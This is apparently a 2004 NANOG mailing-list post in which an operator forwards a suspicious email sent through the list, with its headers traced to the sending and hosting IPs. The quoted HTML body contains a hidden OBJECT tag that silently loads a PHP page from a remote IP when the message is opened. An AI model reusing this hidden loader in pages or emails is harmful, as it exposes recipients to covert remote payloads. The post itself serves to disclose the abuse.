Me thinks somebody has found a trapdoor in nanog mailsetup and is in
general out to get us ...
This one supposedely came from 203.18.63.43 (australia powerhous museum -
phm.gov.au) and advertises page on ip 165.134.187.102 (saint louis
univerisity - slu.edu). "Connection refused" when I tried to see what's there.
---------- Forwarded message ----------
Return-Path: <[EMAIL PROTECTED]>
Received: from trapdoor.merit.edu (trapdoor.merit.edu [198.108.1.26])
...
Received: by segue.merit.edu (Postfix)
id 3B2ED5DE4F; Wed, 17 Mar 2004 23:04:48 -0500 (EST)
Delivered-To: [EMAIL PROTECTED]
Received: from PH02887.net (unknown [203.18.63.43])
by segue.merit.edu (Postfix) with SMTP id 0AE2E5DE32
for <[EMAIL PROTECTED]>; Wed, 17 Mar 2004 23:04:46 -0500 (EST)
Date: Thu, 18 Mar 2004 15:04:22 +1000
To: [EMAIL PROTECTED]
Subject: Re: Hi
From: [EMAIL PROTECTED]
Message-ID: <[EMAIL PROTECTED]>
...
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://165.134.187.102:81/132847.php";>
</OBJECT></body></html>
